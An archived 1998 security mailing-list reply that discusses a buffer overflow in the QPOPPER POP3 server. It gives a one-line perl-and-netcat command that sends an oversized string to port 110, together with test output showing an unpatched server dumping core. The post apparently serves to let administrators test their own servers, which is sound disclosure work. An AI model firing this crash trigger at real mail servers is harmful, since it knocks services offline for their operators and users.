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Re: QPOPPER problem....
From: jason () ACKLEY NET (Jason Ackley)
Date: Sat, 27 Jun 1998 09:35:54 -0700

On Sat, 27 Jun 1998, Tom Brown wrote:


perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | nc -i 2 target 110

assuming you have netcat (nc) on your system... if not, just
telnet to your server and paste something like 20 lines of solid
characters into your telnet window... You'll get the -ERR
response back... at which point unpatched servers should core
dump... and you get "Connection closed by foreign host."

 Stock BSDi 3.0(3.1) all the latest patches(M310-034) DOES core dump , but
does not print out the 'ERR', so BSDi people may want to keep that in


$ perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | nc -i 2 localhost 110
+OK QPOP (version 2.2-krb-IV) at llama.ackley.net starting.  <<v2.2
<8667.898965122 () llama ackley net>
$ ls -l /pop* ; date
-rw-------  1 root  wheel  155648 Jun 27 09:32 /popper.core
Sat Jun 27 09:32:11 PDT 1998

I also tested with 2.4, and 2.41beta1, applying patches now and will see
what it does..


Jason Ackley

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